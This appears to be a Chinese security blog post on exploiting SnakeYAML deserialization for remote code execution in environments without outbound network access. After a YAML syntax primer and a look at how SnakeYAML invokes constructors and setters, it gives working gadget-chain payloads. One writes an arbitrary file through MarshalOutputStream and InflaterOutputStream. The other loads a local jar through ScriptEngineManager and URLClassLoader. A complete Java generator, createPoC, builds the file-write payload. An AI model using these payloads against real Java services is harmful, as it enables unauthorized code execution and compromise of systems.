前言
SnakeYaml现有的通用利用方式是ScriptEngineManager这条链。这条链会在反序列化ScriptEngineManager的时候,在构造函数触发的函数调用中,通过spi机制去加载远程的jar包从而导致命令执行。这条链有一个利用前提就是需要出网,在不出网的环境下就无法RCE。P神的小密圈中leveryd师傅给出了SnakeYaml的不出网利用方式的思路,故有了本文。对思路感到惊叹的同时却也叹息于自己的菜。
基本概念
简介
SnakeYaml是java的yaml解析类库,支持Java对象的序列化/反序列化。
Yaml基础语法
YAML基本格式要求:
-
YAML大小写敏感; -
使用缩进代表层级关系; -
缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)
示例如下:
environments:
dev:
url: http://dev.bar.com
name: Developer Setup
prod:
url: http://foo.bar.com
name: My Cool App
my:
servers:
- dev.bar.com
- foo.bar.com
YAML支持三种数据结构:
1、对象
使用冒号代表,格式为key: value。冒号后面要加一个空格:
key: value
可以使用缩进表示层级关系:
key:
child-key: value
child-key2: value2
2、数组
使用一个短横线加一个空格代表一个数组项:
hobby:
- Java
- LOL
3、常量
YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:
boolean:
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2018-02-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区
不出网POC构造
线索
leveryd师傅[1]给了两条链接
第一步,FastJson 1.2.68链写本地文件[2]。
第二步,ScriptEngineManager加载本地jar包进行代码执行[3]
疑惑点
对snakeyaml反序列化赋值的过程不清楚,为啥snakeyaml能应用fastjson的反序列化利用链。
Snakeyaml的反序列化方式
1、无构造函数和set函数情况下 snakeyaml 将使用反射的方式自动赋值。
声明如下类A
package com.zlg.SnakeYaml;
public class ModelA {
public int a;
public int b;
}
使用如下方法反序列化
Yaml yaml = new Yaml();
ModelA a = (ModelA) yaml.load("!!com.zlg.SnakeYaml.ModelA {a: 5, b: 0}") ;
System.out.println(yaml.dump(a));
将反序列化成功。
2、构造函数
声明如下类B
public class ModelB {
public int a;
public int b;
public ModelB(int a,int b){
this.a = a;
this.b = b;
}
}
使用如下方式反序列化
ModelB b = (ModelB) yaml.load("!!com.zlg.SnakeYaml.ModelB [5 , 0 ]") ;
System.out.println(yaml.dump(b));
可以看的出来[]是调用构造函数的一个标志,在构造函数中下断点,也能够成功调到。
3、调用setXX函数
这个是最关键的部分,声明如下类C
package com.zlg.SnakeYaml;
public class ModelC {
public int a;
public void setInput(int a){
this.a = a;
}
}
使用如下方式反序列化
ModelC c = (ModelC) yaml.load("!!com.zlg.SnakeYaml.ModelC {input : 5}") ;
System.out.println(yaml.dump(c));
运行并下好断点。
可以看到调用set函数的方式和无构造函数的方式写法差不多,比如要调用setInput函数,把set去掉将后面单词全部小写后,传入SetInput的参数就可以调用
到此为止,意味着snakeyaml 可以利用fastjson和Jackson的所有利用链(反之不一定行),并且还没有autotype的限制。不过fastjson和jackson好像也没有直接RCE的链,并且还多依赖于三方jar包,通过改写1.2.68 写文件的链和ScriptManager本地加载jar包的方式 仅需依赖jdk就可以完成RCE。
fastjson 1.2.68调用链观察
根据给的链接里的描述,这条链脱胎于浅蓝的POC。
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
},
'bufLen':1048576
},
'protocolVersion':1
}
最终POC
1、依样画葫芦 将fastjson 1.2.68本地写文件的链改写为yaml形式。在实际过程中,可以将jar包写在tmp目录下(linux系统下),这个目录一般都会有权限。
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater { input: !!binary base64str },1048576]]
注意:Destpath为生成的文件路径,base64str为经过zlib压缩过后的文件内容。
这个poc写的很简单,但趟了两个坑,一个是数据需要经过openssl zlib方式的压缩,第二个是snakeyaml中byte数组的构造方式(说多了都是泪)
如下面的例子 要是像下图那样构造byte数组,将会出错,后来组合排列试了n次,试出了!!binary base64str表示byte数组
2、ScriptEngineManager本地加载文件
!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/payload.jar"]]]]
写了一份java代码能够直接生成写文件的POC,使用createPoC函数,入参分别为源端文件(要写的文件内容)和目的端文件(生成的文件路径),返回值为写文件的POC。snakeyaml 不出网RCE之路就到此为止了。
package com.zlg.serialize.snakeyaml;
import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;
public class SnakeYamlOffInternet {
public static void main(String [] args) throws Exception {
String poc = createPoC("./1.txt","./file/yaml-payload.txt");
Yaml yaml = new Yaml();
yaml.load(poc);
}
public static String createPoC(String SrcPath,String Destpath) throws Exception {
File file = new File(SrcPath);
Long FileLength = file.length();
byte[] FileContent = new byte[FileLength.intValue()];
try{
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
}
catch (FileNotFoundException e){
e.printStackTrace();
}
byte[] compressbytes = compress(FileContent);
String base64str = Base64.getEncoder().encodeToString(compressbytes);
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [""+Destpath+""],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]";
System.out.println(poc);
return poc;
}
public static byte[] compress(byte[] data) {
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}
总结
师傅们的思路总是很清奇,学到了!
参考
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
http://scz.617.cn:8/web/202008111715.txt
参考资料
leveryd师傅: http://www.leveryd.top/archives/
[2]FastJson 1.2.68链写本地文件: http://scz.617.cn:8/web/202008111715.txt
[3]ScriptEngineManager加载本地jar包进行代码执行: https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
原文始发于微信公众号(leveryd):SnakeYaml 之不出网利用